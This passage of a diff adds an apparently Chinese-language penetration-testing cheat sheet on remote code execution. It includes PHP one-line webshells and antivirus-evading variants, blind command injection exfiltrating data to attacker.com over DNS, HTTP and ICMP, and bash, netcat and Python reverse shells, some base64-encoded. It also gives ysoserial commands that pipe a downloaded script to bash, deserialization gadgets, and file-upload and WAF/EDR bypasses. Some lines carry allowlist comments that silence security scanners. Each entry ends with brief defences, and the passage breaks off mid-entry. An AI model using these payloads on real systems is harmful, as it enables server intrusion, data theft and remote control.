160
+ - 存在PHP代码执行点
161
+ - 用户输入可控制代码
162
+
163
+ **攻击链:**
164
+
165
+ **1. 常见危险函数**
166
+ > PHP危险函数
167
+ ```
168
+ eval($_POST[cmd]);
169
+ assert($_POST[cmd]);
170
+ preg_replace('/a/e',$_POST[cmd],'a');
171
+ create_function('',$_POST[cmd]);
172
+ array_map($_POST[func],$_POST[arr]);
173
+ call_user_func($_POST[func],$_POST[arg]);
174
+ ```
175
+ **语法解析:**
176
+ - `eval()` — 执行字符串作为PHP代码 _function_
177
+ - `assert()` — 断言函数,可执行代码 _function_
178
+ - `preg_replace /e` — 正则替换执行模式 _value_
179
+ - `create_function()` — 动态创建函数 _function_
180
+
181
+ **2. 命令执行**
182
+ > PHP命令执行函数
183
+ ```
184
+ system('whoami');
185
+ exec('whoami');
186
+ shell_exec('whoami');
187
+ passthru('whoami');
188
+ popen('whoami','r');
189
+ proc_open('whoami',$desc,$pipes);
190
+ `whoami`;
191
+ ```
192
+ **语法解析:**
193
+ - `system()` — 执行命令并输出结果 _function_
194
+ - `exec()` — 执行命令返回最后一行 _function_
195
+ - `shell_exec()` — 执行命令返回全部输出 _function_
196
+ - ```` — 反引号执行命令 _value_
197
+
198
+ **3. 一句话木马**
199
+ > 常见一句话木马
200
+ ```
201
+ <?php @eval($_POST[cmd]);?>
202
+ <?php @assert($_POST[cmd]);?>
203
+ <?php @system($_GET[cmd]);?>
204
+ <?php $a=create_function('',$_POST[cmd]);$a();?>
205
+ ```
206
+ **语法解析:**
207
+ - `system()` — 系统命令执行 _function_
208
+ - `eval()` — 代码执行 _function_
209
+
210
+ **4. 免杀一句话**
211
+ > 免杀一句话木马
212
+ ```
213
+ <?php $a='ev'.$_POST[1];$a($_POST[cmd]);?>
214
+ <?php $_='a'.'s'.'s'.'e'.'r'.'t';$_($_POST[cmd]);?>
215
+ <?php $a=base64_decode('YXNzZXJ0');$a($_POST[cmd]);?>
216
+ ```
217
+ **语法解析:**
218
+ - `<?php` — 命令/关键字 _command_
219
+
220
+ **WAF/EDR 绕过变体:**
221
+
222
+ **回调函数绕过**
223
+ > 使用回调函数
224
+ ```
225
+ array_map('assert',array($_POST[cmd]));
226
+ call_user_func('assert',$_POST[cmd]);
227
+ $a='assert';$a($_POST[cmd]);
228
+ ```
229
+ **语法解析:**
230
+ - `array_map` — PHP数组映射回调函数 _function_
231
+ - `assert` — 执行PHP代码的断言函数 _function_
232
+ - `call_user_func` — 调用用户回调函数 _function_
233
+ - `$_POST[cmd]` — 从POST参数获取命令 _variable_
234
+
235
+ **变量函数绕过**
236
+ > WAF绕过技术
237
+ ```
238
+ $func=$_GET['func'];$cmd=$_GET['cmd'];$func($cmd);
239
+ ```
240
+ **语法解析:**
241
+ - `$func=$_GET["func"]` — 从GET参数获取函数名 _variable_
242
+ - `$cmd=$_GET["cmd"]` — 从GET参数获取命令 _variable_
243
+ - `$func($cmd)` — 变量函数调用,动态执行 _technique_
244
+
245
+
246
+ **概述:** PHP代码执行漏洞通过eval()/assert()/preg_replace(e修饰符)/array_map()等函数将用户输入作为PHP代码执行,可直接读取文件、操作数据库、执行系统命令等。
247
+
248
+ **漏洞原理:** PHP危险函数包括:eval()/assert()直接执行代码字符串、preg_replace()的e修饰符(PHP<7)将替换结果作为代码执行、create_function()/call_user_func()动态函数调用、array_map()/usort()回调函数注入。
249
+
250
+ **利用方法:** 完整利用流程:
251
+ 1. 发现代码执行点
252
+ 2. 构造恶意代码
253
+ 3. 执行系统命令
254
+ 4. 写入WebShell
255
+ 5. 获取服务器权限
256
+
257
+ **防御措施:** 防御措施:
258
+ 1. 禁用危险函数
259
+ 2. 使用白名单验证输入
260
+ 3. 使用参数化调用
261
+ 4. 最小权限原则
262
+
263
+ ---
264
+
265
+ ### PHP Filter链RCE `rce-php-filter`
266
+ _利用PHP Filter链构造RCE_
267
+ 子类:**PHP Filter链** · tags: `rce` `php` `filter` `chain`
268
+
269
+ **前置条件:**
270
+ - 存在文件包含漏洞
271
+ - PHP版本支持Filter链
272
+
273
+ **攻击链:**
274
+
275
+ **1. Filter链原理**
276
+ > Filter链原理
277
+ ```
278
+ 利用php://filter的convert.base64-decode等过滤器
279
+ 通过精心构造的输入,最终生成可执行代码
280
+ ```
281
+ **语法解析:**
282
+ - `利用php://filter的convert.base64-decode等过滤器
283
+ 通过精心构造的输入,最终生成可执行代码` — 攻击载荷 _value_
284
+
285
+ **2. 构造Filter链**
286
+ > 构造Filter链
287
+ ```
288
+ php://filter/convert.base64-decode/resource=data://,plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg==
289
+ 使用多个过滤器串联
290
+ ```
291
+ **语法解析:**
292
+ - `php://filter` — PHP过滤器协议 _value_
293
+ - `convert.base64-decode` — Base64解码过滤器 _value_
294
+ - `resource=` — 指定资源 _value_
295
+
296
+ **3. 使用工具生成**
297
+ > 使用工具生成Filter链
298
+ ```
299
+ # 使用php_filter_chain_generator
300
+ python3 php_filter_chain_generator.py --chain "<?php system($_GET[cmd]);?>"
301
+
302
+ # 输出可直接使用的Filter链
303
+ ```
304
+ **语法解析:**
305
+ - `#` — 命令/载荷起始 _command_
306
+ - ` 使用php_filter_chain_generator
307
+ python3 php_filter_chain_generator.py --chain "<?php system($_GET[cmd]);?>"
308
+
309
+ # 输出可直接使用的Filter链` — 参数与载荷内容 _value_
310
+
311
+ **4. 完整利用示例**
312
+ > 完整Filter链示例
313
+ ```
314
+ ?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7/resource=php://temp
315
+ ```
316
+ **语法解析:**
317
+ - `?file=php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.` — 攻击载荷 _value_
318
+
319
+ **WAF/EDR 绕过变体:**
320
+
321
+ **编码绕过**
322
+ > 编码组合绕过
323
+ ```
324
+ 使用不同编码过滤器组合
325
+ 绕过关键字检测
326
+ ```
327
+ **语法解析:**
328
+ - `使用不同编码过滤器组合
329
+ 绕过关键字检测` — 攻击载荷 _value_
330
+
331
+
332
+ **概述:** PHP Filter链RCE是2022年发现的新技术,通过精心组合多个php://filter过滤器(iconv字符集转换),在不使用文件上传的情况下从无到有生成任意内容,配合include实现RCE。
333
+
334
+ **漏洞原理:** PHP Filter链利用iconv字符集转换过滤器的组合效应:通过特定的字符集转换序列(如UTF-7→UTF-8)逐字节构造任意PHP代码。一个LFI漏洞(include($_GET["file"]))配合Filter链即可直接RCE,无需文件上传或日志投毒。
335
+
336
+ **利用方法:** 完整利用流程:
337
+ 1. 发现文件包含漏洞
338
+ 2. 使用工具生成Filter链
339
+ 3. 构造恶意请求
340
+ 4. 执行任意代码
341
+
342
+ **防御措施:** 防御措施:
343
+ 1. 禁用php://filter
344
+ 2. 白名单限制文件路径
345
+ 3. 禁用危险过滤器
346
+ 4. 升级PHP版本
347
+
348
+ ---
349
+
350
+ ### 盲命令注入 `rce-cmd-blind`
351
+ _无回显的命令注入利用技术_
352
+ 子类:**盲命令注入** · tags: `rce` `blind` `command` `injection`
353
+
354
+ **前置条件:**
355
+ - 存在命令注入点
356
+ - 无直接回显
357
+
358
+ **攻击链:**
359
+
360
+ **1. 时间盲注**
361
+ > 使用延时判断
362
+ ```
363
+ ; sleep 5
364
+ | sleep 5
365
+ `sleep 5`
366
+ $(sleep 5)
367
+ & timeout 5
368
+ 观察响应时间判断命令是否执行
369
+ ```
370
+ **语法解析:**
371
+ - `sleep 5` — Linux延时命令 _value_
372
+ - `timeout 5` — Windows延时命令 _value_
373
+
374
+ **2. DNS外带**
375
+ > DNS外带数据
376
+ ```
377
+ ; nslookup $(whoami).attacker.com
378
+ ; ping -c 1 $(whoami).attacker.com
379
+ ; host $(id | base64).attacker.com
380
+ & nslookup %USERNAME%.attacker.com
381
+ ```
382
+ **语法解析:**
383
+ - `nslookup` — DNS查询工具 _value_
384
+ - `$(whoami)` — 命令替换获取用户名 _value_
385
+ - `.attacker.com` — 攻击者控制的域名 _domain_
386
+
387
+ **3. HTTP外带**
388
+ > HTTP外带数据
389
+ ```
390
+ ; curl http://attacker.com/?data=$(whoami)
391
+ ; wget http://attacker.com/?data=$(id)
392
+ ; curl -d @/etc/passwd http://attacker.com/
393
+ & certutil -urlcache -f http://attacker.com/?data=%USERNAME%
394
+ ```
395
+ **语法解析:**
396
+ - `; curl http://attacker.com/?data=$(whoami)
397
+ ; wget http://attacker.com/?data=$(i` — 攻击载荷 _value_
398
+
399
+ **4. ICMP外带**
400
+ > ICMP外带数据
401
+ _platform: linux_
402
+ ```
403
+ ; ping -p $(echo "test" | xxd -p) attacker.com
404
+ ; tcpdump -i eth0 icmp
405
+ 在攻击者服务器监听ICMP包
406
+ ```
407
+ **语法解析:**
408
+ - `; ping -p $(echo "test" | xxd -p) attacker.com
409
+ ; tcpdump -i eth0 icmp
410
+ 在攻击者服务器监` — 攻击载荷 _value_
411
+
412
+ **5. 反弹Shell**
413
+ > 反弹Shell
414
+ ```
415
+ ; bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
416
+ ; nc -e /bin/bash attacker 4444
417
+ ; python -c "import socket,subprocess,os;s=socket.socket();s.connect(('attacker',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/bash','-i'])"
418
+ ```
419
+ **语法解析:**
420
+ - `; bash -c "bash -i >& /dev/tcp/attacker/4444 0>&1"
421
+ ; nc -e /bin/bash attacker 4` — 攻击载荷 _value_
422
+
423
+ **WAF/EDR 绕过变体:**
424
+
425
+ **编码绕过**
426
+ > Base64编码绕过
427
+ _platform: linux_
428
+ ```
429
+ ; echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash # security-allowlist: SEC008
430
+ 使用Base64编码绕过
431
+ ```
432
+ **语法解析:**
433
+ - `;` — 命令/载荷起始 _command_
434
+ - ` echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==" | base64 -d | bash <!-- security-allowlist: SEC008 -->
435
+ 使用Base64编码绕过` — 参数与载荷内容 _value_
436
+
437
+
438
+ **概述:** 盲命令注入是指命令执行成功但结果不回显在响应中的场景,需要通过DNS外带(nslookup)、HTTP外带(curl)、延时判断(sleep)或写文件等间接方式确认漏洞存在和提取数据。
439
+
440
+ **漏洞原理:** 盲命令注入的确认和利用方式:1)时间延迟(;sleep 5)判断执行 2)DNS外带(;nslookup $(whoami).attacker.com)获取命令输出 3)HTTP外带(curl http://attacker.com/$(cat /etc/hostname)) 4)写入Web目录后HTTP访问获取结果。
441
+
442
+ **利用方法:** 完整利用流程:
443
+ 1. 确认命令注入存在(时间盲注)
444
+ 2. 使用外带通道获取数据
445
+ 3. 构造反弹Shell
446
+ 4. 获取服务器权限
447
+
448
+ **防御措施:** 防御措施:
449
+ 1. 避免使用系统命令
450
+ 2. 使用参数化API
451
+ 3. 输入白名单验证
452
+ 4. 禁用危险函数
453
+
454
+ ---
455
+
456
+ ### 反序列化漏洞 `rce-deserialize`
457
+ _利用反序列化漏洞实现RCE_
458
+ 子类:**反序列化** · tags: `rce` `deserialize` `java` `php`
459
+
460
+ **前置条件:**
461
+ - 存在反序列化点
462
+ - 存在可利用的Gadget链
463
+
464
+ **攻击链:**
465
+
466
+ **1. Java反序列化**
467
+ > Java反序列化
468
+ ```
469
+ # 常见漏洞组件
470
+ Apache Commons Collections
471
+ Spring Framework
472
+ Fastjson
473
+ Jackson
474
+ WebLogic
475
+
476
+ # 使用ysoserial生成payload
477
+ java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash" # security-allowlist: curl-pipe-bash
478
+ ```
479
+ **语法解析:**
480
+ - `ysoserial` — Java反序列化利用工具 _value_
481
+ - `CommonsCollections1` — 利用链名称 _encoding_
482
+
483
+ **2. PHP反序列化**
484
+ > PHP反序列化
485
+ ```
486
+ <?php
487
+ class Exploit {
488
+ public $cmd = "system('whoami');";
489
+ function __destruct() {
490
+ eval($this->cmd);
491
+ }
492
+ }
493
+ echo serialize(new Exploit());
494
+ ?>
495
+ 生成: O:6:"Exploit":1:{s:3:"cmd";s:17:"system('whoami');";}
496
+ ```
497
+ **语法解析:**
498
+ - `system()` — 系统命令执行 _function_
499
+
500
+ **3. Python反序列化**
501
+ > Python pickle反序列化
502
+ ```
503
+ import pickle
504
+ import os
505
+ class Exploit:
506
+ def __reduce__(self):
507
+ return (os.system, ('whoami',))
508
+ payload = pickle.dumps(Exploit())
509
+ # 发送payload触发反序列化
510
+ ```
511
+ **语法解析:**
512
+ - `import` — 命令/关键字 _command_
513
+
514
+ **4. .NET反序列化**
515
+ > .NET反序列化
516
+ _platform: windows_
517
+ ```
518
+ # 使用ysoserial.net
519
+ ysoserial.net -g ObjectDataProvider -f Json.Net -c "calc.exe"
520
+
521
+ # 常见格式
522
+ BinaryFormatter
523
+ Json.NET
524
+ XMLSerializer
525
+ ```
526
+ **语法解析:**
527
+ - `# 使用ysoserial.net
528
+ ysoserial.net -g ObjectDataProvider -f Json.Net -c "calc.exe"` — 攻击载荷 _value_
529
+
530
+ **WAF/EDR 绕过变体:**
531
+
532
+ **签名绕过**
533
+ > 绕过签名验证
534
+ ```
535
+ 如果存在签名验证
536
+ 需要获取密钥重新签名
537
+ ```
538
+ **语法解析:**
539
+ - `如果存在签名验证
540
+ 需要获取密钥重新签名` — 攻击载荷 _value_
541
+
542
+
543
+ **概述:** 反序列化漏洞是将不可信数据还原为对象时触发恶意操作,存在于Java/PHP/Python/.NET等多种语言中。攻击者构造特殊的序列化数据,在反序列化过程中自动调用危险方法实现RCE。
544
+
545
+ **漏洞原理:** 反序列化攻击利用对象在还原时自动调用的魔术方法(如Java的readObject、PHP的__wakeup/__destruct)。通过POP(Property Oriented Programming)链将多个类的方法调用串联,最终触发命令执行。
546
+
547
+ **利用方法:** 完整利用流程:
548
+ 1. 识别反序列化点
549
+ 2. 分析可用的Gadget链
550
+ 3. 生成恶意序列化数据
551
+ 4. 发送触发RCE
552
+
553
+ **防御措施:** 防御措施:
554
+ 1. 避免反序列化不可信数据
555
+ 2. 使用白名单类限制
556
+ 3. 禁用危险Gadget
557
+ 4. 使用安全的序列化格式
558
+
559
+ ---
560
+
561
+ ### PHP反序列化 `rce-deserialize-php`
562
+ _PHP反序列化漏洞利用技术_
563
+ 子类:**PHP反序列化** · tags: `rce` `php` `deserialize` `unserialize`
564
+
565
+ **前置条件:**
566
+ - 存在unserialize调用
567
+ - 存在可利用的类
568
+
569
+ **攻击链:**
570
+
571
+ **1. 魔术方法**
572
+ > PHP魔术方法
573
+ ```
574
+ __construct() - 对象创建时调用
575
+ __destruct() - 对象销毁时调用
576
+ __wakeup() - 反序列化时调用
577
+ __toString() - 对象转字符串时调用
578
+ __call() - 调用不存在方法时触发
579
+ ```
580
+ **语法解析:**
581
+ - `__destruct()` — 对象销毁时自动调用,常作为POP链的入口点 _command_
582
+ - `__wakeup()` — 反序列化时自动调用,可被CVE-2016-7124绕过 _command_
583
+ - `__toString()` — 对象转字符串时触发,如echo/print/字符串拼接 _command_
584
+ - `__call()` — 调用不存在方法时触发,可用于动态方法跳转 _command_
585
+
586
+ **2. 构造POP链**
587
+ > 构造POP链
588
+ ```
589
+ <?php
590
+ class Chain {
591
+ public $obj;
592
+ function __destruct() {
593
+ $this->obj->action();
594
+ }
595
+ }
596
+ class Action {
597
+ public $cmd;
598
+ function action() {
599
+ system($this->cmd);
600
+ }
601
+ }
602
+ $payload = new Chain();
603
+ $payload->obj = new Action();
604
+ $payload->obj->cmd = "whoami";
605
+ echo serialize($payload);
606
+ ?>
607
+ ```
608
+ **语法解析:**
609
+ - `class Chain` — 入口类,__destruct触发时调用obj的action方法 _command_
610
+ - `$this->obj->action()` — 链式调用,通过对象属性跳转到目标类方法 _operator_
611
+ - `system($this->cmd)` — 最终执行系统命令的sink点 _value_
612
+ - `serialize($payload)` — 将构造好的对象链序列化为字符串payload _command_
613
+
614
+ **3. Phar反序列化**
615
+ > Phar反序列化
616
+ ```
617
+ # 生成Phar文件
618
+ <?php
619
+ class Exploit {}
620
+ $phar = new Phar('exploit.phar');
621
+ $phar->startBuffering();
622
+ $phar->addFromString('test.txt', 'test');
623
+ $phar->setStub('<?php __HALT_COMPILER(); ?>');
624
+ $o = new Exploit();
625
+ $phar->setMetadata($o);
626
+ $phar->stopBuffering();
627
+ ?>
628
+
629
+ # 触发反序列化
630
+ phar://exploit.phar/test.txt
631
+ ```
632
+ **语法解析:**
633
+ - `new Phar()` — 创建Phar归档文件对象 _command_
634
+ - `setStub()` — 设置Phar文件头标识,__HALT_COMPILER()为必需结束符 _parameter_
635
+ - `setMetadata($o)` — 设置元数据为恶意对象,读取Phar时自动反序列化 _value_
636
+ - `phar://exploit.phar` — phar://流包装器触发元数据反序列化 _command_
637
+
638
+ **4. Session反序列化**
639
+ > Session反序列化
640
+ ```
641
+ # 利用Session处理器差异
642
+ # php_serialize vs php_binary
643
+ 构造恶意Session数据触发反序列化
644
+ ```
645
+ **语法解析:**
646
+ - `php_serialize` — Session序列化处理器,使用标准serialize格式 _parameter_
647
+ - `php_binary` — 另一种Session处理器,使用二进制格式 _parameter_
648
+ - `处理器差异` — 不同处理器的分隔符不同导致注入恶意序列化数据 _value_
649
+
650
+ **WAF/EDR 绕过变体:**
651
+
652
+ **属性修饰符绕过**
653
+ > 属性修饰符处理
654
+ ```
655
+ 使用public/private/protected属性
656
+ 注意序列化格式差异:
657
+ public: s:3:"cmd"
658
+ private: s:8:"\0Class\0cmd"
659
+ protected: s:7:"\0*\0cmd"
660
+ ```
661
+ **语法解析:**
662
+ - `public: s:3:"cmd"` — 公有属性直接序列化属性名 _value_
663
+ - `private: s:8:"\0Class\0cmd"` — 私有属性前后加\\0和类名,长度包含null字节 _value_
664
+ - `protected: s:7:"\0*\0cmd"` — 受保护属性前后加\\0和*号 _value_
665
+
666
+
667
+ **概述:** PHP反序列化利用unserialize()函数处理用户可控数据时触发魔术方法(__destruct/__wakeup/__toString等),通过POP链调用system()/exec()等危险函数实现RCE。
668
+
669
+ **漏洞原理:** PHP反序列化利用链:unserialize()触发__wakeup()或反序列化后触发__destruct(),通过修改对象属性指向其他类的方法(POP链),最终调用命令执行函数。常见利用框架包括Laravel(PendingBroadcast链)、Yii(BatchQueryResult链)等。
670
+
671
+ **利用方法:** 完整利用流程:
672
+ 1. 找到unserialize调用点
673
+ 2. 分析可利用的类
674
+ 3. 构造POP链
675
+ 4. 生成序列化payload
676
+ 5. 发送触发RCE
677
+
678
+ **防御措施:** 防御措施:
679
+ 1. 避免反序列化用户输入
680
+ 2. 使用json_encode替代
681
+ 3. 白名单类限制
682
+ 4. 禁用Phar
683
+
684
+ ---
685
+
686
+ ### Java反序列化 `rce-deserialize-java`
687
+ _Java反序列化漏洞利用技术_
688
+ 子类:**Java反序列化** · tags: `rce` `java` `deserialize` `ysoserial`
689
+
690
+ **前置条件:**
691
+ - 存在Java反序列化点
692
+ - 存在Gadget链
693
+
694
+ **攻击链:**
695
+
696
+ **1. 常见Gadget链**
697
+ > 常见Gadget链
698
+ ```
699
+ CommonsCollections - Apache Commons Collections
700
+ CommonsBeanutils - Apache Commons BeanUtils
701
+ Spring - Spring Framework
702
+ Jdk7u21 - JDK原生Gadget
703
+ Groovy - Apache Groovy
704
+ Hibernate - Hibernate ORM
705
+ ```
706
+ **语法解析:**
707
+ - `CommonsCollections` — Apache CC库Gadget链,最经典的Java反序列化利用链 _command_
708
+ - `CommonsBeanutils` — Apache BeanUtils Gadget,利用属性访问触发执行 _command_
709
+ - `Jdk7u21` — JDK原生Gadget,无需第三方依赖,利用AnnotationInvocationHandler _command_
710
+ - `Hibernate` — Hibernate ORM Gadget,利用HQL查询触发代码执行 _command_
711
+
712
+ **2. 使用ysoserial**
713
+ > 使用ysoserial生成payload
714
+ ```
715
+ # 列出所有Gadget
716
+ java -jar ysoserial.jar
717
+
718
+ # 生成payload
719
+ java -jar ysoserial.jar CommonsCollections1 "curl attacker.com/shell.sh|bash" > payload.ser # security-allowlist: curl-pipe-bash
720
+ java -jar ysoserial.jar CommonsCollections6 "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40LzEyMzQgMD4mMQ==}|{base64,-d}|{bash,-i}"
721
+ ```
722
+ **语法解析:**
723
+ - `java -jar ysoserial.jar` — 运行ysoserial反序列化payload生成工具 _command_
724
+ - `CommonsCollections1` — 指定使用的Gadget链名称 _parameter_
725
+ - `"curl attacker.com/shell.sh|bash"` — 要执行的系统命令(反弹Shell常用) _value_ <!-- security-allowlist: curl-pipe-bash -->
726
+ - `> payload.ser` — 将生成的序列化数据保存为二进制文件 _operator_
727
+ - `{echo,BASE64}|{base64,-d}|{bash,-i}` — Bash花括号扩展绕过空格和特殊字符限制 _value_
728
+
729
+ **3. JRMP攻击**
730
+ > JRMP攻击
731
+ ```
732
+ # 启动JRMP服务
733
+ java -cp ysoserial.jar ysoserial.exploit.JRMPListener 4444 CommonsCollections1 "touch /tmp/pwned"
734
+
735
+ # 发送JRMP客户端payload
736
+ java -jar ysoserial.jar JRMPClient attacker:4444
737
+ ```
738
+ **语法解析:**
739
+ - `ysoserial.exploit.JRMPListener` — 启动JRMP恶意服务端,等待目标连接 _command_
740
+ - `4444` — JRMP监听端口 _value_
741
+ - `CommonsCollections1` — 服务端返回给客户端的Gadget链类型 _parameter_
742
+ - `JRMPClient` — 生成JRMP客户端payload,目标反序列化后连接攻击者 _command_
743
+
744
+ **4. 内存马注入**
745
+ > 内存马注入
746
+ ```
747
+ # 使用ysoserial注入内存马
748
+ java -jar ysoserial.jar CommonsCollections1 "生成内存马字节码"
749
+
750
+ # 或使用工具
751
+ java -jar ysuserial.jar CommonsCollections1 "内存马命令"
752
+ ```
753
+ **语法解析:**
754
+ - `内存马` — 无文件WebShell,注入到JVM内存中的Servlet/Filter/Listener _command_
755
+ - `字节码` — 编译后的Java类字节码,运行时动态加载 _parameter_
756
+ - `CommonsCollections1` — 利用CC链触发ClassLoader加载恶意字节码 _value_
757
+
758
+ **WAF/EDR 绕过变体:**
759
+
760
+ **二次反序列化**
761
+ > 二次反序列化绕过
762
+ ```
763
+ 使用SignedObject或RMI绕过黑名单
764
+ ```
765
+ **语法解析:**
766
+ - `SignedObject` — JDK内置类,包装另一个序列化对象绕过黑名单检测 _command_
767
+ - `RMI` — 远程方法调用,通过网络传输序列化对象绕过本地检测 _command_
768
+
769
+ **反射绕过**
770
+ > 反射绕过
771
+ ```
772
+ 使用反射设置属性绕过限制
773
+ ```
774
+ **语法解析:**
775
+ - `反射` — Java反射机制在运行时动态修改对象属性绕过限制 _command_
776
+ - `setAccessible(true)` — 突破private访问限制,修改私有字段值 _parameter_
777
+
778
+
779
+ **概述:** Java反序列化是最具破坏力的漏洞类型之一,利用Apache Commons Collections/BeanUtils等库中的Gadget链,在ObjectInputStream.readObject()时触发任意代码执行。
780
+
781
+ **漏洞原理:** Java反序列化利用ysoserial等工具生成Gadget链:CommonsCollections系列(InvokerTransformer链)、CommonsBeanutils(BeanComparator链)、URLDNS(DNS探测)等。序列化数据(AC ED 00 05魔术字节)出现在Cookie/HTTP参数/JMX/RMI等位置。
782
+
783
+ **利用方法:** 完整利用流程:
784
+ 1. 识别反序列化点
785
+ 2. 检测依赖库
786
+ 3. 选择合适的Gadget链
787
+ 4. 生成payload
788
+ 5. 发送触发RCE
789
+
790
+ **防御措施:** 防御措施:
791
+ 1. 升级依赖库版本
792
+ 2. 使用ObjectInputFilter
793
+ 3. 白名单类限制
794
+ 4. 禁用反序列化
795
+
796
+ ---
797
+
798
+ ### 文件上传漏洞 `rce-file-upload`
799
+ _利用文件上传漏洞获取RCE_
800
+ 子类:**文件上传** · tags: `rce` `upload` `webshell` `file`
801
+
802
+ **前置条件:**
803
+ - 存在文件上传功能
804
+ - 可上传可执行文件
805
+
806
+ **攻击链:**
807
+
808
+ **1. 基础上传**
809
+ > 直接上传可执行文件
810
+ ```
811
+ 上传PHP文件: shell.php
812
+ 上传JSP文件: shell.jsp
813
+ 上传ASPX文件: shell.aspx
814
+ 上传CGI文件: shell.cgi
815
+ ```
816
+ **语法解析:**
817
+ - `shell.php` — PHP WebShell文件,服务器会直接解析执行 _value_
818
+ - `shell.jsp` — Java WebShell,运行在Tomcat/JBoss等容器 _value_
819
+ - `shell.aspx` — .NET WebShell,运行在IIS服务器 _value_
820
+
821
+ **2. 前端绕过**
822
+ > 绕过前端验证
823
+ ```
824
+ # 修改Content-Type
825
+ Content-Type: image/jpeg
826
+
827
+ # 修改文件扩展名
828
+ test.php -> test.jpg.php
829
+ test.php -> test.php.jpg
830
+
831
+ # 使用空字节
832
+ test.php%00.jpg
833
+ ```
834
+ **语法解析:**
835
+ - `Content-Type: image/jpeg` — 修改MIME类型欺骗前端/后端验证 _parameter_
836
+ - `test.php.jpg` — 双后缀名,部分服务器从左到右解析取第一个 _value_
837
+ - `test.php%00.jpg` — 空字节截断(PHP<5.3.4),%00后的内容被忽略 _value_
838
+
839
+ **3. 后端绕过**
840
+ > 绕过后端黑名单
841
+ ```
842
+ # 黑名单绕过
843
+ .php -> .phtml, .php3, .php5, .pht
844
+ .asp -> .asa, .cer, .cdx
845
+ .jsp -> .jspx, .jspf
846
+
847
+ # 大小写绕过
848
+ .Php, .pHp, .PHP
849
+
850
+ # 双写绕过
851
+ .pphphp
852
+ ```
853
+ **语法解析:**
854
+ - `.phtml, .php3, .php5, .pht` — PHP的替代扩展名,不在常见黑名单中 _value_
855
+ - `.Php, .pHp` — 大小写混合绕过Windows不区分大小写的文件系统 _value_
856
+ - `.pphphp` — 双写绕过,后端删除php后剩余拼接为.php _value_
857
+
858
+ **4. 图片马**
859
+ > 制作图片马
860
+ ```
861
+ # 制作图片马
862
+ copy test.jpg/b + shell.php/a shell.jpg
863
+
864
+ # 利用文件包含执行
865
+ include($_GET['file']);
866
+ ?file=upload/shell.jpg
867
+ ```
868
+
869
+ **5. .htaccess上传**
870
+ > 利用.htaccess
871
+ _platform: linux_
872
+ ```
873
+ # 上传.htaccess文件
874
+ AddType application/x-httpd-php .jpg
875
+ AddHandler php-script .jpg
876
+
877
+ # 之后上传的jpg文件会被当作PHP执行
878
+ ```
879
+ **语法解析:**
880
+ - `AddType application/x-httpd-php .jpg` — 让Apache将.jpg文件当作PHP脚本解析 _command_
881
+ - `AddHandler php-script .jpg` — 另一种配置方式,为.jpg添加PHP处理器 _command_
882
+
883
+ **WAF/EDR 绕过变体:**
884
+
885
+ **Content-Type绕过**
886
+ > Content-Type绕过
887
+ ```
888
+ 修改请求中的Content-Type为允许的类型
889
+ image/jpeg, image/png, image/gif
890
+ ```
891
+ **语法解析:**
892
+ - `Content-Type` — HTTP请求头中的MIME类型字段 _parameter_
893
+ - `image/jpeg` — 伪装为JPEG图片的MIME类型绕过服务端检测 _value_
894
+ - `image/png, image/gif` — 其他常见的白名单MIME类型 _value_
895
+
896
+ **文件头绕过**
897
+ > 文件头绕过
898
+ ```
899
+ 在恶意文件前添加图片文件头
900
+ GIF89a<?php eval($_POST[cmd]);?>
901
+ ```
902
+ **语法解析:**
903
+ - `GIF89a` — GIF文件魔术头(文件签名),6字节 _command_
904
+ - `<?php eval([cmd]);?>` — 在文件头之后追加PHP代码 _value_
905
+
906
+
907
+ **概述:** 文件上传RCE通过上传包含恶意代码的文件(WebShell)到服务器的Web可访问目录,然后通过HTTP请求访问该文件触发代码执行,是获取服务器权限最直接的方式之一。
908
+
909
+ **漏洞原理:** 文件上传RCE的利用条件:1)服务器允许上传可执行文件(PHP/JSP/ASP) 2)上传目录在Web根目录下且可通过URL访问 3)服务器将上传文件以脚本方式解析。绕过手段包括后缀名变形、Content-Type篡改、路径穿越等。
910
+
911
+ **利用方法:** 完整利用流程:
912
+ 1. 分析上传限制
913
+ 2. 选择绕过方法
914
+ 3. 上传WebShell
915
+ 4. 访问执行
916
+ 5. 获取服务器权限
917
+
918
+ **防御措施:** 防御措施:
919
+ 1. 白名单验证扩展名
920
+ 2. 检查文件内容
921
+ 3. 重命名上传文件
922
+ 4. 存储到非Web目录
923
+ 5. 禁用执行权限
924
+
925
+ ---
926
+
927
+ ### 文件包含RCE `rce-include`
928
+ _利用文件包含漏洞实现RCE_
929
+ 子类:**文件包含** · tags: `rce` `include` `lfi` `rfi`
930
+
931
+ **前置条件:**
932
+ - 存在文件包含漏洞
933
+ - 可包含恶意文件
934
+
935
+ **攻击链:**
936
+
937
+ **1. 日志投毒**
938
+ > 日志投毒RCE
939
+ _platform: linux_
940
+ ```
941
+ # 注入代码到日志
942
+ User-Agent: <?php system($_GET['cmd']);?>
943
+
944
+ # 包含日志文件
945
+ ?file=/var/log/apache2/access.log&cmd=whoami
946
+ ?file=/var/log/nginx/access.log&cmd=whoami
947
+ ```
948
+ **语法解析:**
949
+ - `/var/log/apache2/access.log` — Apache访问日志 _path_
950
+ - `/var/log/nginx/access.log` — Nginx访问日志 _path_
951
+
952
+ **2. Session文件包含**
953
+ > Session文件包含
954
+ _platform: linux_
955
+ ```
956
+ # 注入代码到Session
957
+ ?file=/var/lib/php/sessions/sess_[PHPSESSID]
958
+
959
+ # Session内容
960
+ <?php system($_GET['cmd']);?>
961
+ ```
962
+ **语法解析:**
963
+ - `system()` — 系统命令执行 _function_
964
+
965
+ **3. /proc/self/environ**
966
+ > 包含环境变量
967
